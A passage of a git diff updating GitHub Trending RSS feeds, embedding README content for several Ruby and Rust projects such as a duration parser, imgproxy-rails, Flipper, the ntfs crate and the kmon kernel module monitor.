`to_duration' for "35m 5s":String require 'duration/string_ext' "35m 5s".to_duration # =&gt; #&lt;Duration:2151903540 @raw="35m 5s"&gt; # once you've done this, the arithmetic and comparison stuff works too "35m 5s".to_duration &gt; "10m" # =&gt; true "35m 5s".to_duration &gt; "50m" # =&gt; false "35m 5s".to_duration + "10m" # =&gt; #&lt;Duration:2156162420 @raw="2705"&gt; </code></pre> <h3>Formats</h3> <p>Here's a list of formats that will parse:</p> <pre><code>Duration #parse parses "0" as 0 seconds parses "00:00" as 0 seconds parses "0 seconds" as 0 seconds parses nil as 0 seconds parses "45s" as 45 seconds parses "45 seconds" as 45 seconds parses "00:00:45" as 45 seconds parses "45" as 45 seconds parses "137s" as 137 seconds parses "2m17s" as 137 seconds parses "2 minutes 17 seconds" as 137 seconds parses "02:17" as 137 seconds parses "2:17" as 137 seconds parses "1h32m07s" as 5527 seconds parses "1:32:07" as 5527 seconds parses "92 minutes and 7 seconds" as 5527 seconds parses "3d10h15m" as 296100 seconds parses "3:10:15:00" as 296100 seconds parses "82 hours 15 minutes" as 296100 seconds </code></pre> <h3>Interesting Methods</h3> <ul> <li><code>#to_clock_format</code> leverages <code>#to_s</code>'s newfound proc handling powers to format the output. Speaking of...</li> <li><code>#to_s</code> takes a proc, and yields the duration in seconds to it. This is useful for output.</li> </ul> <h2>CHANGELOG</h2> <ul> <li><strong>v0.0.2 Speling And Hashify</strong> <ul> <li>Corrected spelling (thanks @czarneckiD) and killed an extraneous method.</li> </ul> </li> <li><strong>v0.0.1 Hello World</strong> <ul> <li>Handles all of my use cases. Could be better at everything, though :).</li> </ul> </li> </ul> <h2>Contributors (Thanks!)</h2> <ul> <li><a href="https://github.com/czarneckiD">czarneckiD</a> fixed an odd spelling mishap.</li> </ul> <h2>Contributing</h2> <ol> <li>Fork it</li> <li>Create your feature branch (<code>git checkout -b my-new-feature</code>)</li> <li>Commit your changes (<code>git commit -am 'Added some feature'</code>)</li> <li>Push to the branch (<code>git push origin my-new-feature</code>)</li> <li>Create new Pull Request</li> </ol> <h2>Copyright</h2> <p>Copyright (c) 2012 Matt Wilson. See LICENSE for details, but it's MIT.</p> + + + imgproxy/imgproxy-rails + 2023-10-30T01:35:26Z + tag:github.com,2023-10-30:/imgproxy/imgproxy-rails + + <p></p><hr><p align="center"> <a href="https://imgproxy.net"> <picture> <source media="(prefers-color-scheme: dark)" srcset="https://raw.githubusercontent.com/imgproxy/imgproxy/master/assets/logo-dark.svg?sanitize=true"> <source media="(prefers-color-scheme: light)" srcset="https://raw.githubusercontent.com/imgproxy/imgproxy/master/assets/logo-light.svg?sanitize=true"> <img alt="imgproxy logo" src="https://raw.githubusercontent.com/imgproxy/imgproxy/master/assets/logo-light.svg?sanitize=true"> </picture> </a> </p> <p align="center"> <a href="https://github.com/imgproxy/imgproxy-rails/actions"><img alt="GH Test" src="https://img.shields.io/github/actions/workflow/status/imgproxy/imgproxy-rails/rspec.yml?branch=master&amp;label=Test&amp;style=for-the-badge"></a> <a href="https://github.com/imgproxy/imgproxy-rails/actions"><img alt="GH Test Jruby" src="https://img.shields.io/github/actions/workflow/status/imgproxy/imgproxy-rails/rspec-jruby.yml?branch=master&amp;label=Test%20JRuby&amp;style=for-the-badge"></a> <a href="https://github.com/imgproxy/imgproxy-rails/actions"><img alt="GH Lint" src="https://img.shields.io/github/actions/workflow/status/imgproxy/imgproxy-rails/rubocop.yml?branch=master&amp;label=Lint&amp;style=for-the-badge"></a> <a href="https://rubygems.org/gems/imgproxy-rails"><img alt="Gem" src="https://img.shields.io/gem/v/imgproxy-rails.svg?style=for-the-badge"></a> <a href="https://www.rubydoc.info/gems/imgproxy-rails"><img alt="rubydoc.org" src="https://img.shields.io/badge/rubydoc-reference-blue.svg?style=for-the-badge"></a> </p> <hr> <p>Integration of <a href="https://github.com/imgproxy/imgproxy.rb">imgproxy.rb</a> with <a href="https://edgeapi.rubyonrails.org/classes/ActiveStorage/Variant.htmlasses/ActiveStorage/Variant.html">ActiveStorage::Variant API</a>.</p> <h2>Installation</h2> <p>Add to your project:</p> <pre><code class="language-ruby"># Gemfile gem "imgproxy-rails" </code></pre> <h3>Supported Ruby versions</h3> <ul> <li>Ruby (MRI) &gt;= 2.7.0</li> <li>JRuby &gt;= 9.3.0</li> </ul> <h3>Supported Rails versions</h3> <ul> <li>Rails &gt;= 6.0.0</li> </ul> <h2>Usage</h2> <p>Given the following configuration:</p> <pre><code class="language-ruby"># development.rb config.active_storage.resolve_model_to_route = :rails_storage_proxy # production.rb config.active_storage.resolve_model_to_route = :imgproxy_active_storage </code></pre> <p>The following HTML snippet will generate different URLs in dev and prod:</p> <pre><code class="language-erb"># show.erb.html &lt;%= image_tag Current.user.avatar.variant(resize: "100x100") %&gt; </code></pre> <p>In dev, it will generate a URL like this:</p> <pre><code class="language-html">&lt;img src="http://localhost:3000/rails/active_storage/blobs/proxy/eyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBWHc9IiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--0c35e9a616c29da2dfa10a385bae7172526e7961/me.png"&gt; </code></pre> <p>In prod, it will generate a URL like this:</p> <pre><code class="language-html">&lt;img src="https://imgproxy.example.com/8uVB2dYrZVOdG-1tekFjNJZ7s7VHDViXJbu9TcQavQ8/fn:me.png/aHR0cDovL2xvY2Fs/aG9zdDozMDAwL3Jh/aWxzL2FjdGl2ZV9z/dG9yYWdlL2Jsb2Jz/L3Byb3h5L2V5SmZj/bUZwYkhNaU9uc2li/V1Z6YzJGblpTSTZJ/a0pCYUhCQldIYzlJ/aXdpWlhod0lqcHVk/V3hzTENKd2RYSWlP/aUppYkc5aVgybGtJ/bjE5LS0wYzM1ZTlh/NjE2YzI5ZGEyZGZh/MTBhMzg1YmFlNzE3/MjUyNmU3OTYxL21l/LnBuZw"&gt; </code></pre> <p>You can also specify imgproxy-specific parameters in <code>imgproxy_options</code> attribute. Imgproxy-specific params will take precedence over ones from original API:</p> <pre><code class="language-ruby"># height=50 and width=50 will be applied Current.user.avatar.variant(resize: "100x100", imgproxy_options: {height: 50, width: 50}) </code></pre> <h2>Contributing</h2> <p>Bug reports and pull requests are welcome on GitHub at <a href="https://github.com/imgproxy/imgproxy-rails">https://github.com/imgproxy/imgproxy-rails</a>.</p> <h2>Credits</h2> <p>This gem is generated via <a href="https://github.com/palkan/new-gem-generator">new-gem-generator</a>.</p> <h2>License</h2> <p>The gem is available as open source under the terms of the <a href="http://opensource.org/licenses/MIT">MIT License</a>.</p> + + + chadstachowicz/MindsMesh-Web + 2023-10-30T01:35:26Z + tag:github.com,2023-10-30:/chadstachowicz/MindsMesh-Web + + <p>MindsMesh-Heroku</p><hr><p>== MINDSMESH.COM</p> <p>== API ROUTES grouped_with_parents_api_v1_notifications GET /api/v1/notifications/grouped/with_parents(.:format) api/V1/notifications#grouped_with_parents mark_as_read_api_v1_notification POST /api/v1/notifications/:id/mark_as_read(.:format) api/V1/notifications#mark_as_read with_children_api_v1_post GET /api/v1/posts/:id/with_children(.:format) api/V1/posts#with_children likes_api_v1_post GET /api/v1/posts/:id/likes(.:format) api/V1/posts#likes likes_with_parents_api_v1_post GET /api/v1/posts/:id/likes/with_parents(.:format) api/V1/posts#likes_with_parents like_api_v1_post POST /api/v1/posts/:id/like(.:format) api/V1/posts#like unlike_api_v1_post POST /api/v1/posts/:id/unlike(.:format) api/V1/posts#unlike replies_api_v1_post POST /api/v1/posts/:id/replies(.:format) api/V1/posts#create_reply api_v1_posts POST /api/v1/posts(.:format) api/V1/posts#create api_v1_post GET /api/v1/posts/:id(.:format) api/V1/posts#show likes_api_v1_reply GET /api/v1/replies/:id/likes(.:format) api/V1/replies#likes likes_with_parents_api_v1_reply GET /api/v1/replies/:id/likes/with_parents(.:format) api/V1/replies#likes_with_parents like_api_v1_reply POST /api/v1/replies/:id/like(.:format) api/V1/replies#like unlike_api_v1_reply POST /api/v1/replies/:id/unlike(.:format) api/V1/replies#unlike api_v1_reply GET /api/v1/replies/:id(.:format) api/V1/replies#show posts_api_v1_topic GET /api/v1/topics/:id/posts(.:format) api/V1/topics#posts posts_with_parents_api_v1_topic GET /api/v1/topics/:id/posts/with_parents(.:format) api/V1/topics#posts_with_parents join_api_v1_topic POST /api/v1/topics/:id/join(.:format) api/V1/topics#join leave_api_v1_topic POST /api/v1/topics/:id/leave(.:format) api/V1/topics#leave api_v1_topics POST /api/v1/topics(.:format) api/V1/topics#create api_v1_topic GET /api/v1/topics/:id(.:format) api/V1/topics#show with_children_api_v1_user GET /api/v1/users/:id/with_children(.:format) api/V1/users#with_children posts_api_v1_user GET /api/v1/users/:id/posts(.:format) api/V1/users#posts posts_with_parents_api_v1_user GET /api/v1/users/:id/posts/with_parents(.:format) api/V1/users#posts_with_parents api_v1_user GET /api/v1/users/:id(.:format) api/V1/users#show api_v1_session_login POST /api/v1/session/login(.:format) api/v1/session#login api_v1_session_me GET /api/v1/session/me(.:format) api/v1/session#me api_v1_home_posts GET /api/v1/home/posts(.:format) api/v1/home#posts api_v1_home_posts_with_parents GET /api/v1/home/posts/with_parents(.:format) api/V1/home#posts_with_parents api_v1_home_entities GET /api/v1/home/entities(.:format) api/v1/home#entities api_v1_home_entities_with_children GET /api/v1/home/entities/with_children(.:format) api/V1/home#entities_with_children api_v1_home_topics GET /api/v1/home/topics(.:format) api/v1/home#topics api_v1_home_search_topics POST /api/v1/home/search_topics(.:format) api/v1/home#search_topics api_v1_home_register_device POST /api/v1/home/register_device(.:format) api/v1/home#register_device POST /api/v1/home/entities(.:format) api/V1/home#create_entity_request api_v1 /api/v1/*path(.:format) api/V1/base#render_404</p> + \ No newline at end of file diff --git a/ruby/weekly/index.xml b/ruby/weekly/index.xml deleted file mode 100644 index abfd4494d16..00000000000 --- a/ruby/weekly/index.xml +++ /dev/null @@ -1,14 +0,0 @@ - - GitHub Ruby Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:01:17Z - Weekly Trending of Ruby in GitHub - - - flippercloud/flipper - 2023-10-29T02:01:17Z - tag:github.com,2023-10-29:/flippercloud/flipper - - <p>🐬 Beautiful, performant feature flags for Ruby.</p><hr><p><a href="https://www.flippercloud.io"><img src="https://raw.githubusercontent.com/flippercloud/flipper/main/docs/images/banner.jpg" alt="Flipper Mark"></a></p> <p><a href="https://flippercloud.io">Website</a> | <a href="https://flippercloud.io/docs">Documentation</a> | <a href="https://raw.githubusercontent.com/flippercloud/flipper/main/examples">Examples</a> | <a href="https://twitter.com/flipper_cloud">Twitter</a></p> <h1>Flipper</h1> <blockquote> <p>Beautiful, performant feature flags for Ruby.</p> </blockquote> <p>Flipper gives you control over who has access to features in your app.</p> <ul> <li>Enable or disable features for everyone, specific actors, groups of actors, a percentage of actors, or a percentage of time.</li> <li>Configure your feature flags from the console or a web UI.</li> <li>Regardless of what data store you are using, Flipper can performantly store your feature flags.</li> <li>Use <a href="https://raw.githubusercontent.com/flippercloud/flipper/main/#flipper-cloud">Flipper Cloud</a> to cascade features from multiple environments, share settings with your team, control permissions, keep an audit history, and rollback.</li> </ul> <p>Control your software — don't let it control you.</p> <h2>Installation</h2> <p>Add this line to your application's Gemfile:</p> <pre><code>gem 'flipper' </code></pre> <p>You'll also want to pick a storage <a href="https://flippercloud.io/docs/adapters">adapter</a>, for example:</p> <pre><code>gem 'flipper-active_record' </code></pre> <p>And then execute:</p> <pre><code>$ bundle </code></pre> <p>Or install it yourself with:</p> <pre><code>$ gem install flipper </code></pre> <h2>Subscribe &amp; Ship</h2> <p><a href="https://blog.flippercloud.io/#/portal/signup">💌 &nbsp;Subscribe</a> - we'll send you short and sweet emails when we release new versions.</p> <h2>Getting Started</h2> <p>Use <code>Flipper#enabled?</code> in your app to check if a feature is enabled.</p> <pre><code class="language-ruby"># check if search is enabled if Flipper.enabled? :search, current_user puts 'Search away!' else puts 'No search for you!' end </code></pre> <p>All features are disabled by default, so you'll need to explicitly enable them.</p> <pre><code class="language-ruby"># Enable a feature for everyone Flipper.enable :search # Enable a feature for a specific actor Flipper.enable_actor :search, current_user # Enable a feature for a group of actors Flipper.enable_group :search, :admin # Enable a feature for a percentage of actors Flipper.enable_percentage_of_actors :search, 2 </code></pre> <p>Read more about <a href="https://flippercloud.io/docs">getting started with Flipper</a> and <a href="https://flippercloud.io/docs/features">enabling features</a>.</p> <h2>Flipper Cloud</h2> <p>Like Flipper and want more? Check out <a href="https://www.flippercloud.io">Flipper Cloud</a>, which comes with:</p> <ul> <li><strong>everything in one place</strong> — no need to bounce around from different application UIs or IRB consoles.</li> <li><strong>permissions</strong> — grant access to everyone in your organization or lockdown each project to particular people.</li> <li><strong>multiple environments</strong> — production, staging, enterprise, by continent, whatever you need.</li> <li><strong>personal environments</strong> — no more rake scripts or manual enable/disable to get your laptop to look like production. Every developer gets a personal environment that inherits from production that they can override as they please (<a href="https://www.johnnunemaker.com/flipper-cloud-environments/">read more</a>).</li> <li><strong>no maintenance</strong> — we'll keep the lights on for you. We also have handy webhooks for keeping your app in sync with Cloud, so <strong>our availability won't affect yours</strong>. All your feature flag reads are local to your app.</li> <li><strong>audit history</strong> — every feature change and who made it.</li> <li><strong>rollbacks</strong> — enable or disable a feature accidentally? No problem. You can roll back to any point in the audit history with a single click.</li> </ul> <p><a href="https://www.flippercloud.io"><img src="https://raw.githubusercontent.com/flippercloud/flipper/main/docs/images/flipper_cloud.png" alt="Flipper Cloud Screenshot"></a></p> <p>Cloud is super simple to integrate with Rails (<a href="https://github.com/fewerandfaster/flipper-rails-demo">demo app</a>), Sinatra or any other framework.</p> <h2>Contributing</h2> <ol> <li>Fork it</li> <li>Create your feature branch (<code>git checkout -b my-new-feature</code>)</li> <li>Run the tests (<code>bundle exec rake</code>). Check out <a href="https://raw.githubusercontent.com/flippercloud/flipper/main/docs/DockerCompose.md">Docker-Compose</a> if you need help getting all the adapters running.</li> <li>Commit your changes (<code>git commit -am 'Added some feature'</code>)</li> <li>Push to the branch (<code>git push origin my-new-feature</code>)</li> <li>Create new Pull Request</li> </ol> <h2>Releasing</h2> <ol> <li>Update the version to be whatever it should be and commit.</li> <li><code>script/release</code></li> <li>Profit.</li> </ol> <h2>Brought To You By</h2> <table> <thead> <tr> <th>pic</th> <th>@mention</th> <th>area</th> </tr> </thead> <tbody> <tr> <td><img src="https://avatars3.githubusercontent.com/u/235?s=64" alt="@jnunemaker"></td> <td><a href="https://github.com/jnunemaker">@jnunemaker</a></td> <td>most things</td> </tr> <tr> <td><img src="https://avatars3.githubusercontent.com/u/173?s=64" alt="@bkeepers"></td> <td><a href="https://github.com/bkeepers">@bkeepers</a></td> <td>most things</td> </tr> <tr> <td><img src="https://avatars3.githubusercontent.com/u/918804?s=64" alt="@dpep"></td> <td><a href="https://github.com/dpep">@dpep</a></td> <td>tbd</td> </tr> <tr> <td><img src="https://avatars3.githubusercontent.com/u/3260042?s=64" alt="@alexwheeler"></td> <td><a href="https://github.com/alexwheeler">@alexwheeler</a></td> <td>api</td> </tr> <tr> <td><img src="https://avatars1.githubusercontent.com/u/471801?s=64" alt="@thetimbanks"></td> <td><a href="https://github.com/thetimbanks">@thetimbanks</a></td> <td>ui</td> </tr> <tr> <td><img src="https://avatars1.githubusercontent.com/u/6276766?s=64" alt="@lazebny"></td> <td><a href="https://github.com/lazebny">@lazebny</a></td> <td>docker</td> </tr> </tbody> </table> - - \ No newline at end of file diff --git a/runoff/daily/index.xml b/runoff/daily/index.xml index cf6054a09a5..643829142e8 100644 --- a/runoff/daily/index.xml +++ b/runoff/daily/index.xml @@ -1,7 +1,7 @@ GitHub RUNOFF Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:41:30Z + 2023-10-30T01:35:13Z Daily Trending of RUNOFF in GitHub \ No newline at end of file diff --git a/runoff/weekly/index.xml b/runoff/weekly/index.xml deleted file mode 100644 index 8abb0deddd4..00000000000 --- a/runoff/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub RUNOFF Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:01:12Z - Weekly Trending of RUNOFF in GitHub - - \ No newline at end of file diff --git a/rust/daily/index.xml b/rust/daily/index.xml index 131481025c0..63d77f9f0fe 100644 --- a/rust/daily/index.xml +++ b/rust/daily/index.xml @@ -1,21 +1,28 @@ GitHub Rust Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:41:52Z + 2023-10-30T01:35:18Z Daily Trending of Rust in GitHub - ColinFinck/ntfs - 2023-10-29T01:41:52Z - tag:github.com,2023-10-29:/ColinFinck/ntfs - - <p>An implementation of the NTFS filesystem in a Rust crate, usable from firmware level up to user-mode.</p><hr><img align="right" src="https://raw.githubusercontent.com/ColinFinck/ntfs/master/img/ntfs.svg?sanitize=true"> <h1>ntfs Rust crate</h1> <p><a href="https://crates.io/crates/ntfs"><img src="https://img.shields.io/crates/v/ntfs" alt="crates.io"></a> <a href="https://docs.rs/ntfs"><img src="https://img.shields.io/docsrs/ntfs" alt="docs.rs"></a> <img src="https://img.shields.io/crates/l/ntfs" alt="license: MIT OR Apache-2.0"></p> <p><em>by Colin Finck &lt;<a href="mailto:colin@reactos.org">colin@reactos.org</a>&gt;</em></p> <p>A low-level NTFS filesystem library implemented in Rust.</p> <p><a href="https://en.wikipedia.org/wiki/NTFS">NTFS</a> is the primary filesystem in all versions of Windows (since Windows NT 3.1 in 1993). This crate is geared towards the NTFS 3.x versions used in Windows 2000 up to the current Windows 11. However, the basics are expected to be compatible to even earlier versions.</p> <p>The crate is <code>no_std</code>-compatible and therefore usable from firmware-level code up to user-mode applications.</p> <h2>ntfs-shell</h2> <p><img src="https://raw.githubusercontent.com/ColinFinck/ntfs/master/img/ntfs-shell.gif" alt="ntfs-shell demo"></p> <p>The <code>ntfs-shell</code> example comes with this crate to demonstrate all library features. Use it to explore the internal structures of an NTFS filesystem at any detail level, even of your running Windows partition. No artificial security restrictions will block you from accessing files and folders, extracting their data or Alternate Data Streams. The filesystem is opened read-only, so you can safely browse even a mounted filesystem without worrying about data corruption. That is also helpful to get an idea of the Windows NTFS driver, e.g. to find out when its lazy writer actually updates the data on disk.</p> <p>I originally wrote <code>ntfs-shell</code> for myself to comfortably develop the library in user-mode before running the code in production in kernel-mode.</p> <p>To build <code>ntfs-shell</code>, just clone this repo and call</p> <pre><code>cargo build --example ntfs-shell --all-features </code></pre> <p>To run it, pass the path to an NTFS image (on all operating systems) or to a partition (like <code>\\.\C:</code>, on Windows only with administrative privileges) to the resulting <code>ntfs-shell</code> binary.</p> <p>Calling <code>help</code> gives you a list of all supported commands. <code>help COMMAND</code> details the syntax of that command.</p> <p>Most commands that take a filename also take an NTFS File Record Number (if prepended by <code>/</code>). This File Record Number may be decimal or hexadecimal (if prepended by <code>0x</code>). Some examples:</p> <pre><code>fileinfo Windows fileinfo /146810 fileinfo /0x23d7a </code></pre> <h2>Library Features</h2> <ul> <li>For the impatient: Convenience functions to treat NTFS like any other filesystem and just read files and directories using <code>Read</code>/<code>Seek</code> traits. At your option, you may also explore the filesystem at any detail level.</li> <li>Reading arbitrary resident and non-resident attributes, attributes in Attribute Lists, and attributes connected over multiple Attribute List entries, including sparse attribute data. All of this together enables reading file data and Alternate Data Streams of any size and on-disk structure.</li> <li>Iterating over a flattened "data-centric" view of the NTFS Attributes, abstracting away any nested Attribute List.</li> <li>Efficiently finding files in a directory, adhering to the filesystem's $Upcase Table for case-insensitive search.</li> <li>In-order iteration of directory contents at O(1).</li> <li>Leveraging Rust's typesystem to handle the various types of NTFS indexes in a typesafe way.</li> <li>Error propagation through a custom <code>NtfsError</code> type that implements <code>Display</code>. Where it makes sense, variants have additional fields to pinpoint any error to a specific location.</li> <li>Full functionality even in a <code>no_std</code> environment with <code>alloc</code>.</li> <li>No usage of <code>unsafe</code> anywhere. Checked arithmetic where needed.</li> <li>Platform and endian independence.</li> </ul> <h2>Not yet supported</h2> <ul> <li>Any write support</li> <li>Caching for better performance</li> <li>Compression</li> <li>Encryption</li> <li>Journaling</li> <li>Quotas</li> <li>Reparse Points</li> <li>Security Descriptors</li> </ul> <h2>Examples</h2> <p>The following example dumps the names of all files and folders in the root directory of a given NTFS filesystem.<br> The list is directly taken from the NTFS index, hence it's sorted in ascending order with respect to NTFS's understanding of case-insensitive string comparison.</p> <pre><code class="language-rust,no_run">let mut ntfs = Ntfs::new(&amp;mut fs).unwrap(); let root_dir = ntfs.root_directory(&amp;mut fs).unwrap(); let index = root_dir.directory_index(&amp;mut fs).unwrap(); let mut iter = index.entries(); while let Some(entry) = iter.next(&amp;mut fs) { let entry = entry.unwrap(); let file_name = entry.key().unwrap(); println!("{}", file_name.name()); } </code></pre> <p>Check out the <a href="https://docs.rs/ntfs">docs</a>, the tests, and the supplied <code>ntfs-shell</code> application for more examples on how to use the <code>ntfs</code> library.</p> <h2>License</h2> <p>This crate is licensed under either of</p> <ul> <li><a href="http://www.apache.org/licenses/LICENSE-2.0">Apache License, Version 2.0</a></li> <li><a href="http://opensource.org/licenses/MIT">MIT license</a></li> </ul> <p>at your option.</p> <p>Unless you explicitly state otherwise, any contribution intentionally submitted for inclusion in the work by you, as defined in the Apache-2.0 license, shall be dual licensed as above, without any additional terms or conditions.</p> <h2>Further Resources</h2> <ul> <li><a href="https://flatcap.github.io/linux-ntfs/ntfs/">flatcap.github.io linux-ntfs documentation</a></li> <li><a href="https://github.com/tuxera/ntfs-3g">ntfs-3g driver</a></li> </ul> + orhun/kmon + 2023-10-30T01:35:18Z + tag:github.com,2023-10-30:/orhun/kmon + + <p>Linux Kernel Manager and Activity Monitor 🐧💻</p><hr><p align="center"> <a href="https://github.com/orhun/kmon"> <img src="https://user-images.githubusercontent.com/24392180/73918056-d5c45500-48d1-11ea-8d18-9943827ab2ed.png" width="500"></a> <br> <b>Linux Kernel Manager and Activity Monitor 🐧💻</b> <br> <br> <a href="https://github.com/orhun/kmon/releases"> <img src="https://img.shields.io/github/v/release/orhun/kmon?color=000000&amp;style=flat-square"> </a> <a href="https://crates.io/crates/kmon/"> <img src="https://img.shields.io/crates/v/kmon?color=000000&amp;style=flat-square"> </a> <a href="https://www.archlinux.org/packages/extra/x86_64/kmon/"> <img src="https://img.shields.io/archlinux/v/extra/x86_64/kmon?color=000000&amp;style=flat-square"> </a> <br> <a href="https://github.com/orhun/kmon/actions?query=workflow%3A%22Continuous+Integration%22"> <img src="https://img.shields.io/github/actions/workflow/status/orhun/kmon/ci.yml?branch=master&amp;color=000000&amp;label=CI&amp;style=flat-square"> </a> <a href="https://github.com/orhun/kmon/actions?query=workflow%3A%22Continuous+Deployment%22"> <img src="https://img.shields.io/github/actions/workflow/status/orhun/kmon/cd.yml?color=000000&amp;label=CD&amp;style=flat-square"> </a> <a href="https://codecov.io/gh/orhun/kmon"> <img src="https://img.shields.io/codecov/c/gh/orhun/kmon?color=000000&amp;style=flat-square"> </a> <a href="https://github.com/orhun/kmon/raw/master/LICENSE"> <img src="https://img.shields.io/crates/l/kmon?color=000000&amp;style=flat-square"> </a> <a href="https://github.com/orhun/kmon"> <img src="https://user-images.githubusercontent.com/24392180/77252333-35997400-6c64-11ea-9627-bb56ee14ae22.gif"> </a> </p> <p><strong>The kernel</strong> is the part of the operating system that facilitates interactions between <em>hardware</em> and <em>software</em> components. On most systems, it is loaded on startup after the <em>bootloader</em> and handles I/O requests as well as peripherals like keyboards, monitors, network adapters, and speakers. Typically, the kernel is responsible for <strong>memory management</strong>, <strong>process management</strong>, <strong>device management</strong>, <strong>system calls</strong>, and <strong>security</strong>. Applications use the <strong>system call</strong> mechanism for requesting a service from the operating system and most of the time, this request is passed to the kernel using a library provided by the operating system to invoke the related kernel function. While the kernel performs these low-level tasks, it's resident on a separate part of memory named <strong>protected kernel space</strong> which is not accessible by applications and other parts of the system. In contrast, applications like browsers, text editors, window managers or audio/video players use a different separate area of the memory, <strong>user space</strong>. This separation prevents user data and kernel data from interfering with each other and causing instability and slowness, as well as preventing malfunctioning application programs from crashing the entire operating system.<br> There are different kernel designs due to the different ways of managing system calls and resources. For example, while <strong>monolithic kernels</strong> run all the operating system instructions in the same address space <em>for speed</em>, <strong>microkernels</strong> use different spaces for user and kernel services <em>for modularity</em>. Apart from those, there are <strong>hybrid kernels</strong>, <strong>nanokernels</strong>, and, <strong>exokernels</strong>. The hybrid kernel architecture is based on combining aspects of microkernel and monolithic kernels.</p> <p><strong>The Linux kernel</strong> is the open-source, monolithic and, Unix-like operating system kernel that used in the Linux distributions, various embedded systems such as routers and as well as in the all Android-based systems. <strong>Linus Torvalds</strong> conceived and created the Linux kernel in 1991 and it's still being developed by thousands of developers today. It's a prominent example of <strong>free and open source software</strong> and it's used in other free software projects, notably the <strong>GNU operating system</strong>. Although the Linux-based operating systems dominate the most of computing, it still carries some of the design flaws which were quite a bit of debate in the early days of Linux. For example, it has the <strong>largest footprint</strong> and <strong>the most complexity</strong> over the other types of kernels. But it's a design feature that monolithic kernels inherent to have. These kind of design issues led developers to add new features and mechanisms to the Linux kernel which other kernels don't have.</p> <p>Unlike the standard monolithic kernels, the Linux kernel is also <strong>modular</strong>, accepting <strong>loadable kernel modules (LKM)</strong> that typically used to add support for new <em>hardware</em> (as device drivers) and/or <em>filesystems</em>, or for adding <em>system calls</em>. Since LKMs could be loaded and unloaded to the system <em>at runtime</em>, they have the advantage of extending the kernel without rebooting and re-compiling. Thus, the kernel functionalities provided by modules would not reside in memory without being used and the related module can be unloaded in order to free memory and other resources.<br> Loadable kernel modules are located in <code>/lib/modules</code> with the <code>.ko</code> (<em>kernel object</em>) extension in Linux. While the <a href="https://linux.die.net/man/8/lsmod">lsmod</a> command could be used for listing the loaded kernel modules, <a href="https://linux.die.net/man/8/modprobe">modprobe</a> or <a href="https://linux.die.net/man/8/insmod">insmod</a>/<a href="https://linux.die.net/man/8/rmmod">rmmod</a> is used for loading or unloading a kernel module. insmod/rmmod are used for modules independent of modprobe and without requiring an installation to <code>/lib/modules/$(uname -r)</code>.</p> <p>Here's a simple example of a Linux kernel module that prints a message when it's loaded and unloaded. The build and installation steps of the <a href="https://github.com/orhun/kmon/raw/master/example/lkm_example.c">module</a> using a <a href="https://github.com/orhun/kmon/raw/master/example/Makefile">Makefile</a> are shown below.</p> <pre><code>make # build sudo make install # install sudo modprobe lkm_example # load sudo modprobe -r lkm_example # unload </code></pre> <p>The <a href="https://linux.die.net/man/8/dmesg">dmesg</a> command is used below to retrieve the message buffer of the kernel.</p> <pre><code>[16994.295552] [+] Example kernel module loaded. [16996.325674] [-] Example kernel module unloaded. </code></pre> <p><strong>kmon</strong> provides a <a href="https://en.wikipedia.org/wiki/Text-based_user_interface">text-based user interface</a> for managing the Linux kernel modules and monitoring the kernel activities. By managing, it means loading, unloading, blacklisting and showing the information of a module. These updates in the kernel modules, logs about the hardware and other kernel messages can be tracked with the real-time activity monitor in kmon. Since the usage of different tools like <a href="https://en.wikipedia.org/wiki/Dmesg">dmesg</a> and <a href="https://www.linux.org/docs/man8/kmod.html">kmod</a> are required for these tasks in Linux, kmon aims to gather them in a single terminal window and facilitate the usage as much as possible while keeping the functionality.</p> <p>kmon is written in <a href="https://www.rust-lang.org/">Rust</a> and uses <a href="https://github.com/fdehau/tui-rs">tui-rs</a> &amp; <a href="https://github.com/redox-os/termion">termion</a> libraries for its text-based user interface.</p> <h3>Table of Contents</h3> <!-- vim-markdown-toc GFM --> <ul> <li><a href="https://raw.githubusercontent.com/orhun/kmon/master/#installation">Installation</a> <ul> <li><a href="https://raw.githubusercontent.com/orhun/kmon/master/#cargo">Cargo</a></li> <li><a href="https://raw.githubusercontent.com/orhun/kmon/master/#arch-linux">Arch Linux</a></li> <li><a href="https://raw.githubusercontent.com/orhun/kmon/master/#nixpkgs">Nixpkgs</a></li> <li><a href="https://raw.githubusercontent.com/orhun/kmon/master/#alpine-linux">Alpine Linux</a></li> <li><a href="https://raw.githubusercontent.com/orhun/kmon/master/#docker">Docker</a> <ul> <li><a href="https://raw.githubusercontent.com/orhun/kmon/master/#build">Build</a></li> <li><a href="https://raw.githubusercontent.com/orhun/kmon/master/#run">Run</a></li> </ul> </li> <li><a href="https://raw.githubusercontent.com/orhun/kmon/master/#manual">Manual</a> <ul> <li><a href="https://raw.githubusercontent.com/orhun/kmon/master/#note">Note</a></li> </ul> </li> </ul> </li> <li><a href="https://raw.githubusercontent.com/orhun/kmon/master/#usage">Usage</a> <ul> <li><a href="https://raw.githubusercontent.com/orhun/kmon/master/#options">Options</a></li> <li><a href="https://raw.githubusercontent.com/orhun/kmon/master/#commands">Commands</a> <ul> <li><a href="https://raw.githubusercontent.com/orhun/kmon/master/#sort">Sort</a></li> </ul> </li> </ul> </li> <li><a href="https://raw.githubusercontent.com/orhun/kmon/master/#key-bindings">Key Bindings</a></li> <li><a href="https://raw.githubusercontent.com/orhun/kmon/master/#features">Features</a> <ul> <li><a href="https://raw.githubusercontent.com/orhun/kmon/master/#help">Help</a></li> <li><a href="https://raw.githubusercontent.com/orhun/kmon/master/#navigating--scrolling">Navigating &amp; Scrolling</a> <ul> <li><a href="https://raw.githubusercontent.com/orhun/kmon/master/#scrolling-kernel-activities">Scrolling Kernel Activities</a></li> <li><a href="https://raw.githubusercontent.com/orhun/kmon/master/#smooth-scrolling">Smooth Scrolling</a></li> </ul> </li> <li><a href="https://raw.githubusercontent.com/orhun/kmon/master/#options-menu">Options Menu</a></li> <li><a href="https://raw.githubusercontent.com/orhun/kmon/master/#block-sizes">Block Sizes</a></li> <li><a href="https://raw.githubusercontent.com/orhun/kmon/master/#block-positions">Block Positions</a></li> <li><a href="https://raw.githubusercontent.com/orhun/kmon/master/#kernel-information">Kernel Information</a></li> <li><a 